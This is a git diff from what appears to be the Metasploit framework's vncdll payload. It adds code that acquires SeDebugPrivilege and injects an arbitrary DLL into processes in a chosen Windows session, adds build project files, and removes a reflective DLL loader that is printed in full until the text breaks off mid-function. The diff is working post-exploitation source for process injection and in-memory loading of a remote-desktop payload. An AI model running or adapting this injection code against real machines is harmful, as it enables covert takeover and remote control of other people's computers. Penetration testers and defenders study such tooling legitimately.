+{ + LPVOID lpPE32DllBuffer; + DWORD dwPE32DllLenght; + LPVOID lpPE64DllBuffer; + DWORD dwPE64DllLenght; +} DLL_BUFFER; + +//===============================================================================================// + +DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer ); + +DWORD ps_getarch( DWORD dwPid ); + +DWORD ps_getnativearch( VOID ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/session.c b/external/source/vncdll/vncdll/session.c new file mode 100755 index 0000000000..c95cf7c11f --- /dev/null +++ b/external/source/vncdll/vncdll/session.c @@ -0,0 +1,198 @@ +#include "loader.h" +#include "session.h" + +/* + * Returns the session id associated with a process. + * Returns -1 if we cant determine the session id (e.g. insufficient privileges). + * Returns 0 by default on NT4. + */ +DWORD session_id( DWORD dwProcessId ) +{ + typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); + + static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL; + HMODULE hKernel = NULL; + DWORD dwSessionId = 0; + + do + { + if( !pProcessIdToSessionId ) + { + hKernel = LoadLibraryA( "kernel32.dll" ); + if( hKernel ) + pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" ); + } + + if( !pProcessIdToSessionId ) + break; + + if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) ) + dwSessionId = -1; + + } while( 0 ); + + if( hKernel ) + FreeLibrary( hKernel ); + + return dwSessionId; +} + +/* + * Returns the session id attached to the physical console. + * Returns 0 by default on NT4 and 2000. + */ +DWORD session_activeid() +{ + typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID ); + + static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL; + HMODULE hKernel = NULL; + DWORD dwSessionId = 0; + + do + { + if( !pWTSGetActiveConsoleSessionId ) + { + hKernel = LoadLibraryA( "kernel32.dll" ); + if( hKernel ) + pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" ); + } + + if( !pWTSGetActiveConsoleSessionId ) + break; + + dwSessionId = pWTSGetActiveConsoleSessionId(); + + } while( 0 ); + + if( hKernel ) + FreeLibrary( hKernel ); + + return dwSessionId; +} + +/* + * On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available. + */ +DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ) +{ + DWORD dwResult = ERROR_INVALID_HANDLE; + DWORD pid = 0; + + do + { + for( pid=0 ; pid<0xFFFF ; pid++ ) + { + HANDLE hProcess = NULL; + + hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); + if( !hProcess ) + continue; + + CloseHandle( hProcess ); + + if( dwSessionId == session_id( pid ) ) + { + dwResult = ps_inject( pid, pDllBuffer ); + if( dwResult == ERROR_SUCCESS ) + { + dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid ); + break; + } + } + } + + } while( 0 ); + + return dwResult; +} + +/* + * Inject an arbitrary DLL into a process running in specific Windows session. + */ +DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ) +{ + DWORD dwResult = ERROR_INVALID_HANDLE; + CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL; + PROCESS32FIRST pProcess32First = NULL; + PROCESS32NEXT pProcess32Next = NULL; + HANDLE hProcessSnap = NULL; + HMODULE hKernel = NULL; + HANDLE hToken = NULL; + BOOL bUseBruteForce = TRUE; + PROCESSENTRY32 pe32 = {0}; + + do + { + // If we can, get SeDebugPrivilege... + if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + { + TOKEN_PRIVILEGES priv = {0}; + + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + { + if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ); + dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" ); + } + + CloseHandle( hToken ); + } + + hKernel = LoadLibraryA( "kernel32" ); + if( !hKernel ) + break; + + pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" ); + pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" ); + pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" ); + + if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next ) + break; + + hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); + if( hProcessSnap == INVALID_HANDLE_VALUE ) + break; + + pe32.dwSize = sizeof( PROCESSENTRY32 ); + + if( !pProcess32First( hProcessSnap, &pe32 ) ) + break; + + bUseBruteForce = FALSE; + + do + { + if( dwSessionId == session_id( pe32.th32ProcessID ) ) + { + // On Windows 2008R2 we Blue Screen the box if we inject via APC injection + // into the target sessions instance of csrss.exe!!! so we filter it out... + if( strstr( pe32.szExeFile, "csrss.exe" ) ) + continue; + + dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer ); + if( dwResult == ERROR_SUCCESS ) + { + dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile ); + break; + } + } + } while( pProcess32Next( hProcessSnap, &pe32 ) ); + + } while( 0 ); + + if( hProcessSnap ) + CloseHandle( hProcessSnap ); + + if( hKernel ) + FreeLibrary( hKernel ); + + // On NT4 we must brute force the process list... + if( bUseBruteForce ) + dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer ); + + return dwResult; +} + diff --git a/external/source/vncdll/vncdll/session.h b/external/source/vncdll/vncdll/session.h new file mode 100644 index 0000000000..67f89f3713 --- /dev/null +++ b/external/source/vncdll/vncdll/session.h @@ -0,0 +1,42 @@ +// Copyright (C) 2006-2010, Rapid7, Inc +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, +// are permitted provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, +// this list of conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, +// this list of conditions and the following disclaimer in the documentation +// and/or other materials provided with the distribution. +// +// * Neither the name of Rapid7, Inc nor the names of its contributors +// may be used to endorse or promote products derived from this software +// without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _VNCDLL_LOADER_SESSION_H +#define _VNCDLL_LOADER_SESSION_H +//===============================================================================================// +#include "ps.h" + +DWORD session_id( DWORD dwProcessId ); + +DWORD session_activeid(); + +DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/vncdll/vncdll/vncdll.vcxproj b/external/source/vncdll/vncdll/vncdll.vcxproj new file mode 100755 index 0000000000..d97cda4a84 --- /dev/null +++ b/external/source/vncdll/vncdll/vncdll.vcxproj @@ -0,0 +1,245 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD} + vncdll + Win32Proj + + + + DynamicLibrary + v120_xp + false + MultiByte + true + + + DynamicLibrary + v120_xp + MultiByte + + + DynamicLibrary + v120_xp + false + MultiByte + true + + + DynamicLibrary + v120_xp + MultiByte + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>12.0.21005.1 + + + $(ProjectDir)$(Configuration)\$(Platform)\ + $(ProjectDir)$(Configuration)\$(Platform)\ + true + $(ProjectName).$(PlatformShortName) + + + $(ProjectDir)$(Configuration)\$(Platform)\ + $(ProjectDir)$(Configuration)\$(Platform)\ + true + $(ProjectName).$(PlatformShortName) + + + $(ProjectDir)$(Configuration)\$(Platform)\ + $(ProjectDir)$(Configuration)\$(Platform)\ + false + false + $(ProjectName).$(PlatformShortName) + + + $(ProjectDir)$(Configuration)\$(Platform)\ + $(ProjectDir)$(Configuration)\$(Platform)\ + false + false + $(ProjectName).$(PlatformShortName) + + + + Disabled + WIN32;WIN_X86;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;%(PreprocessorDefinitions) + ..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + Advapi32.lib;ws2_32.lib;User32.lib;%(AdditionalDependencies) + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;%(PreprocessorDefinitions) + ..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + Advapi32.lib;ws2_32.lib;User32.lib;%(AdditionalDependencies) + + + _X64_;_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.1 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + + + MaxSpeed + true + WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;%(PreprocessorDefinitions) + ..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsC + + + _USING_V110_SDK71_;%(PreprocessorDefinitions) + + + Advapi32.lib;ws2_32.lib;User32.lib;%(AdditionalDependencies) + $(OutDir)$(TargetName)$(TargetExt) + false + Windows + true + true + false + false + MachineX86 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\" + + + + + X64 + + + MaxSpeed + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;LOADER_EXPORTS;%(PreprocessorDefinitions) + ..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsC + + + _X64_;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + Advapi32.lib;ws2_32.lib;User32.lib;%(AdditionalDependencies) + $(OutDir)$(TargetName)$(TargetExt) + false + Windows + true + true + false + false + MachineX64 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.1 "$(TargetDir)$(TargetFileName)" > NUL +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\" + + + + + + + + + + + + + + + + + + + + + + + {ea6a09ac-04bb-423d-8842-ca48df901058} + false + + + + + + \ No newline at end of file diff --git a/external/source/vncdll/vncdll/vncdll.vcxproj.filters b/external/source/vncdll/vncdll/vncdll.vcxproj.filters new file mode 100755 index 0000000000..b4f067d299 --- /dev/null +++ b/external/source/vncdll/vncdll/vncdll.vcxproj.filters @@ -0,0 +1,65 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {7c56685d-83b5-4541-b5dd-a620ffe19b23} + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {6b6dd5ba-1f40-449f-a55b-7180bb0793a0} + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav + + + + + Source Files + + + Source Files + + + Source Files\core + + + Source Files\core + + + Source Files\core + + + Source Files\core + + + + + Header Files + + + Header Files + + + Header Files\core + + + Header Files\core + + + Header Files\core + + + + + Resource Files + + + \ No newline at end of file diff --git a/external/source/vncdll/winvnc/ReflectiveDLLInjection.h b/external/source/vncdll/winvnc/ReflectiveDLLInjection.h deleted file mode 100644 index d41b2ac323..0000000000 --- a/external/source/vncdll/winvnc/ReflectiveDLLInjection.h +++ /dev/null @@ -1,53 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H -#define _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include - -// we declare some common stuff in here... - -#define DLL_METASPLOIT_ATTACH 4 -#define DLL_METASPLOIT_DETACH 5 -#define DLL_QUERY_HMODULE 6 - -#define DEREF( name )*(UINT_PTR *)(name) -#define DEREF_64( name )*(DWORD64 *)(name) -#define DEREF_32( name )*(DWORD *)(name) -#define DEREF_16( name )*(WORD *)(name) -#define DEREF_8( name )*(BYTE *)(name) - -typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID ); -typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); - -#define DLLEXPORT __declspec( dllexport ) - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/vncdll/winvnc/ReflectiveLoader.c b/external/source/vncdll/winvnc/ReflectiveLoader.c deleted file mode 100644 index 9d69369824..0000000000 --- a/external/source/vncdll/winvnc/ReflectiveLoader.c +++ /dev/null @@ -1,457 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "ReflectiveLoader.h" -//===============================================================================================// -// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value -HINSTANCE hAppInstance = NULL; -//===============================================================================================// -#ifdef _WIN64 -#pragma intrinsic( _ReturnAddress ) -UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); } -#endif -//===============================================================================================// - -/* - * Use Reflective DLL Injection. - */ -#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN - -// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, -// otherwise the DllMain at the end of this file will be used. - -// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, -// otherwise it is assumed you are calling the ReflectiveLoader via a stub. - -// This is our position independent reflective DLL loader/injector -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) -#else -DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID ) -#endif -{ - // the functions we need - LOADLIBRARYA pLoadLibraryA; - GETPROCADDRESS pGetProcAddress; - VIRTUALALLOC pVirtualAlloc; - USHORT usCounter; - - // the initial location of this image in memory - UINT_PTR uiLibraryAddress; - // the kernels base address and later this images newly loaded base address - UINT_PTR uiBaseAddress; - - // variables for processing the kernels export table - UINT_PTR uiAddressArray; - UINT_PTR uiNameArray; - UINT_PTR uiExportDir; - UINT_PTR uiNameOrdinals; - DWORD dwHashValue; - - // variables for loading this image - UINT_PTR uiHeaderValue; - UINT_PTR uiValueA; - UINT_PTR uiValueB; - UINT_PTR uiValueC; - UINT_PTR uiValueD; - - // STEP 0: calculate our images current base address - - // we will start searching backwards from our current EIP -#ifdef _WIN64 - uiLibraryAddress = eip(); -#else - __asm call geteip - __asm geteip: pop uiLibraryAddress -#endif - - // loop through memory backwards searching for our images base address - // we dont need SEH style search as we shouldnt generate any access violations with this - while( TRUE ) - { - if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) - { - uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), - // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. - if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) - { - uiHeaderValue += uiLibraryAddress; - // break if we have found a valid MZ/PE header - if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) - break; - } - } - uiLibraryAddress--; - } - - // STEP 1: process the kernels exports for the functions our loader needs... - - // get the Process Enviroment Block -#ifdef _WIN64 - uiBaseAddress = __readgsqword( 0x60 ); -#else - uiBaseAddress = __readfsdword( 0x30 ); -#endif - - // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx - uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr; - - // get the first entry of the InMemoryOrder module list - uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; - while( uiValueA ) - { - // get pointer to current modules name (unicode string) - uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; - // set bCounter to the length for the loop - usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; - // clear uiValueC which will store the hash of the module name - uiValueC = 0; - // compute the hash of the module name... - do - { - uiValueC = ror( (DWORD)uiValueC ); - // normalize to uppercase if the madule name is in lowercase - if( *((BYTE *)uiValueB) >= 'a' ) - uiValueC += *((BYTE *)uiValueB) - 0x20; - else - uiValueC += *((BYTE *)uiValueB); - uiValueB++; - } while( --usCounter ); - // compare the hash with that of kernel32.dll - if( (DWORD)uiValueC == KERNEL32DLL_HASH ) - { - // get this modules base address - uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - break; - } - // get the next entry - uiValueA = DEREF( uiValueA ); - } - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of name pointers - uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); - - // get the VA for the array of name ordinals - uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); - - usCounter = 3; - - // loop while we still have imports to find - while( usCounter > 0 ) - { - // compute the hash values for this function name - dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); - - // if we have found a function we want we get its virtual address - if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) - { - // get the VA for the array of addresses - uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // store this functions VA - if( dwHashValue == LOADLIBRARYA_HASH ) - pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == GETPROCADDRESS_HASH ) - pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == VIRTUALALLOC_HASH ) - pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - - // STEP 2: load our image into a new permanent location in memory... - - // get the VA of the NT Header for the PE to be loaded - uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // allocate all the memory for the DLL to be loaded into. we can load at any address because we will - // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. - uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - - // we must now copy over the headers - uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; - uiValueB = uiLibraryAddress; - uiValueC = uiBaseAddress; - __movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA ); - - // STEP 3: load in all of our sections... - - // uiValueA = the VA of the first section - uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); - - // itterate through all sections, loading them into memory. - while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- ) - { - // uiValueB is the VA for this section - uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); - - // uiValueC if the VA for this sections data - uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); - - // copy the section over - uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; - __movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD ); - - // get the VA of the next section - uiValueA += sizeof( IMAGE_SECTION_HEADER ); - } - - // STEP 4: process our images import table... - - // uiValueB = the address of the import directory - uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; - - // we assume their is an import table to process - // uiValueC is the first entry in the import table - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // itterate through all imports - while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) - { - // use LoadLibraryA to load the imported module into memory - uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); - - // uiValueD = VA of the OriginalFirstThunk - uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); - - // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) - uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); - - // itterate through all imported functions, importing by ordinal if no name present - while( DEREF(uiValueA) ) - { - // sanity check uiValueD as some compilers only import by FirstThunk - if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) - { - // get the VA of the modules NT Header - uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of addresses - uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); - - // patch in the address for this imported function - DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); - } - else - { - // get the VA of this functions import by name struct - uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); - - // use GetProcAddress and patch in the address for this imported function - DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); - } - // get the next imported function - uiValueA += sizeof( UINT_PTR ); - if( uiValueD ) - uiValueD += sizeof( UINT_PTR ); - } - - // get the next import - uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); - } - - // STEP 5: process all of our images relocations... - - // calculate the base address delta and perform relocations (even if we load at desired image base) - uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; - - // uiValueB = the address of the relocation directory - uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; - - // check if their are any relocations present - if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) - { - // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // and we itterate through all entries... - while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) - { - // uiValueA = the VA for this relocation block - uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); - - // uiValueB = number of entries in this 